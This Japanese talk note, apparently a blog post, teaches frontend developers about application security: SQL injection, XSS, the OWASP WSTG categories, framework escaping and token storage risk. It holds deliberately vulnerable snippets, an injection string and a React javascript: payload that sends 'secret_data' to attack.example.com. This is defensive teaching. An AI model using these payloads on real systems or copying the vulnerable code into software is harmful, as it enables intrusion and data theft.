📝
登壇ノート「アプリ開発者として、フロントエンドとして考えるアプリケーションセキュリティ」
以下のイベントの登壇ノートです。
セキュリティを学ぼうとして手を付けるもの
明らかな脆弱性
-
セキュリティを学ぼうとすると、真っ先に教わるのは「明らかな脆弱性」
-
書籍多数
-
SQLインジェクション
/user?name=' OR '1'='1
でリクエストを送るとすべてのユーザがヒットしたり:
app.get("/user", (req, res) => {
const name = req.query.name;
db.get(`SELECT * FROM users WHERE name = '${name}'`, (err, row) => {
res.send(`Hello ${row.name}`);
});
});
- XSS
リクエストURLに ?name=<script>alert('XSS')
をつけたら、そのままJavaScriptが発行されたり:
<div id="welcome"></div>
<script>
const params = new URLSearchParams(location.search);
const name = params.get("name");
document.getElementById("welcome").innerHTML = ``;
</script>
- 一般的にWeb Security Testing Guide(WSTG)に基づいて診断される
- 最新のWeb技術や攻撃手法に対応
- テストケースが体系的に分類されている
- OWASP Top 10 との関連も明記
- 手動テストと自動ツールの併用を推奨
カテゴリコード | カテゴリ名 | 内容概要 |
---|---|---|
WSTG-INFO | 情報収集 | ターゲットアプリケーションの構造や技術、エントリポイントなどを調査する |
WSTG-CONF | 設定およびデプロイ管理 | 安全でない構成やデフォルト設定、環境の漏洩を確認する |
WSTG-IDENT | 識別管理のテスト | ユーザー登録・ログイン・パスワード管理などの識別処理を確認する |
WSTG-AUTHN | 認証のテスト | 認証バイパス、強度、セッション継続性などを検証する |
WSTG-AUTHZ | 認可のテスト | アクセス制御の適切性や権限昇格の可能性をチェックする |
WSTG-SESS | セッション管理のテスト | セッショントークンの生成、管理、期限切れなどの安全性を検証する |
WSTG-INPV | 入力検証のテスト | ユーザー入力のサニタイズやバリデーション、インジェクション対策を確認する |
WSTG-CRYP | 暗号化のテスト | 通信やデータ保存における暗号の使用状況を検査する |
WSTG-BUSL | ビジネスロジックのテスト | 業務フローに沿った不正行為の検出(不正な割引など)を行う |
WSTG-CLNT | クライアント側のテスト | JavaScriptやDOM操作など、クライアント側のセキュリティを検証する |
WSTG-API | APIのセキュリティテスト | RESTやGraphQLなど、Web APIに対する認証・入力検証などを行う |
WSTG-MISC | その他のテスト | ログ・監視・エラーハンドリングなどその他の要素を確認する |
実務において考えないといけないこと
対策を自動化する
XSS: JavaScriptフレームワークを使う
Angular
- 自動エスケープ
- データバインディングは
innerHTML
であってもAngularにフィルタリングされる - スクリプトを挿入したいときは、
DomSanitizer
を使って明示的に意図的であることを宣言しないといけない
@Component({
template: `
<p>{{ htmlSnippet }}</p>
<p [innerHTML]="htmlSnippet"></p>
`
})
class SomeComponent {
constructor(private sanitizer: DomSanitizer) {}
htmlSnippet = this.sanitizer.bypassSecurityTrustHtml(`Template <script>alert("XSS")</script> <b>Syntax</b>`);
}
参考: https://blog.lacolaco.net/posts/trusted-types-and-angular-security/
React
- 標準では自動エスケープ
-
dangerouslySetInnerHTML
を使うと無効化 - JavaScriptスキームの悪用
const App = () => {
// 悪意のある値
const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";
const hrefAction = `
alert('${userInput}');
`;
return (
<div>
<a href={`javascript:${hrefAction}`}>link</a>
</div>
);
};
SQLインジェクション
- TypeORMなり、フレームワークを用いる
- 自動エスケープが行われます
- TypeORMで生SQLを書いても、規則通り変数を渡せば大丈夫
app.get("/user", (req, res) => {
const name = req.query.name;
db.get(`SELECT * FROM users WHERE name = ?`, name, (err, row) => {
res.send(`Hello ${row.name}`);
});
});
何が起きるかを考える
例えばAuthenticationに関して
-
- Auth0は「アクセストークンをLocalStorageに入れるのは、抜き取ったらcurlでアカウントが操作できる脆弱性が生まれうる(CSRF)」として、in memoryでのトークン保持と、トークン継続化のためのiframeを採用
- Firebase AuthenticationはトークンをindexedDBに保管しているので、ブラウザの開発者ツールから閲覧することも抜き取ることも可能。
- これだけで「セキュリティはFirebase Authenticationが劣っている」とするのはナンセンス
- 「誰が」「何ができるか」でリスク評価すべきだと思っています。
- Firebase Authenticationは「アプリの退会処理を経由せずに、自分自身を退会させること」ができる
- けれど、一般的環境では、他者のトークンを手にすることはできない以上、他人のアカウントは操作できない
- 百歩譲って、悪意をもったユーザが隣の席にいて、離席中にターゲットとする相手のPCを操作できる環境だったら?
- 「同僚のPCを開いて、該当URLを叩いて、Firebase Authenticationのトークンを抜いて、それを使って自分のPCから(Validationをかいくぐって)アプリエンドポイントをCurlでアクセスして同僚のアカウントを操作」まで聞いたら、みんな思うはず
- 「トークンなんて抜かず、そのまま操作すればいいじゃん」と。
- もたもたしてたらトークンの有効期限切れるし。
- 結果、Firebase AuthenticationはindexedDBにトークン保存というアプローチを続けてるし、世界中にユーザがいる
XSSについて
-
掲示板で <script>alert('こんにちは')</script> と書き込むと、そのままJSが実行できてしまう
-
楽観的UIで、バックエンドでサニタイズを行っている場合だったら
- 自分ひとりの画面で「わーい、alert表示された」「リダイレクトされてしまった」と遊べるだけ
-
DBに非サニタイズでスクリプトを含んだ文字列を格納し、それを閲覧した全ユーザに実行させることができる誰がどうみても“脆弱性“
-
被害レベル
- 非ログインの匿名掲示板みたいなサービスですね。悪意をもって何ができるだろうと思っても、そんなところでユーザは個人情報もクレジットカード情報も入力しない
- alertで何かを表示する
- redirectで悪意のあるサイトに誘導する
- 他の機能を使えなくする
- サービスが高機能になれば
- フォームのInputのChangeイベントを第三者に送信
- FormのSubmitイベントをListenして入力値を抜く
- 「他人に何ができるか」が脆弱性としての境界線となるのと同時に、脆弱性としては「どれだけ多くの人に」「どれだけ長い間気づかれないか」が攻撃者の利益を最大化
- 非ログインの匿名掲示板みたいなサービスですね。悪意をもって何ができるだろうと思っても、そんなところでユーザは個人情報もクレジットカード情報も入力しない
「何も起こさない」から、「何か起きるかもしれない」へ
-
カオスコングがサーバをランダムに(実験者も予期しない形で本番環境で)落としても、トラフィックがフェイルオーバーされるかのテスト
-
(発想が)おそろしい
-
脆弱性があっても致命傷にならない構成を考える
-
攻撃者の有益となる情報を持たない
- 決済を非透過にしたら、XSSの脆弱性があってもクレジットカード情報は抜かれない
- 個人情報やクレジットカード情報を持っていなかったら、クロスサイトスクリプティングが成功しても得れるものはない
-
運営上どうしても必要だったら分散させる
- ログイン情報はFirebase Authentication
- 決済はStripe
- 一時データで十分なものは、ElastiCache / Elastic Cloudに
- ユーザのWebストレージで十分な場合も
まとめ
- セキュリティのリスク評価でしてはいけないのは「そういった悪意のあるユーザは存在するわけがない」という決めつけ
- こういったユーザのせいでセキュリティ対応コストは生まれるし、いなかったら何ならフロントエンドから直接MySQLを操作したいし、ちくしょーお前らのせいで手間かけてるんだみたいな個人的恨みはあるけど
- 「悪意を持つとできてしまう」ことは、常識的な見解において「そんなことする人はいるわけがない」とは切り離して考えるべき
- セキュリティ系の話は、「脆弱な入口はつくってはいけません」の視点で多く語られる
- 「何ができるのか」からの「どうリスクマネジメントするか」が重要
- セキュリティを考える時は「何をされるだろう」ではなく、「(開発者でとてもそのアプリに詳しい)自分が、悪意を持っていたら何を起こせるだろう」と攻撃者側に立って考えるのをセキュリティ評価の習慣に取り入れるといいかなと思います
Discussion